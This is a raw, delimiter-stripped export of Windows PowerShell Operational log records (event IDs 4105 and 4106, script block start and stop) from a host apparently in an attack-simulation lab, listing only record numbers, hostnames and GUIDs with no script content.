410615103150x0671781Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671780Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671779Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671778Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671777Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671776Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671775Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671774Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671773Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671772Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671771Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671770Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671769Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671768Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671767Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671766Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671765Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671764Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671763Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671762Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671761Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671760Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671759Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671758Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671757Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671756Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671755Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671754Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671753Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671752Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671751Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671750Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671749Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671748Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671747Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671746Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671745Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671744Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671743Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671742Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671741Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671740Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671739Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671738Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671737Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671736Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671735Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671734Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671733Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671732Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671731Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671730Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671729Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671728Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671727Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671726Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671725Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671724Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671723Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671722Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671721Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671720Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671719Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671718Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671717Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671716Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671715Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671714Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671713Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671712Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671711Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671710Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671709Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671708Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671707Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671706Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671705Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671704Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671703Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671702Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671701Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671700Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671699Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671698Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671697Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671696Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671695Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671694Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671693Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671692Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671691Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671690Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671689Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671688Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671687Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671686Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671685Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671684Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671683Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671682Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671681Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671680Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671679Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671678Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671677Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671676Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671675Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671674Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671673Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671672Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671671Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671670Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671669Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671668Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671667Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671666Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671665Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671664Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671663Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671662Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671661Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671660Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671659Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671658Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671657Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671656Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671655Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671654Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671653Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671652Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671651Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671650Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671649Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671648Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671647Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671646Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671645Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671644Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671643Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671642Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671641Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671640Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671639Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671638Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671637Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671636Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671635Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671634Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671633Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671632Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671631Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671630Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671629Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671628Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671627Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671626Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671625Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671624Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671623Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671622Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671621Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671620Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671619Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 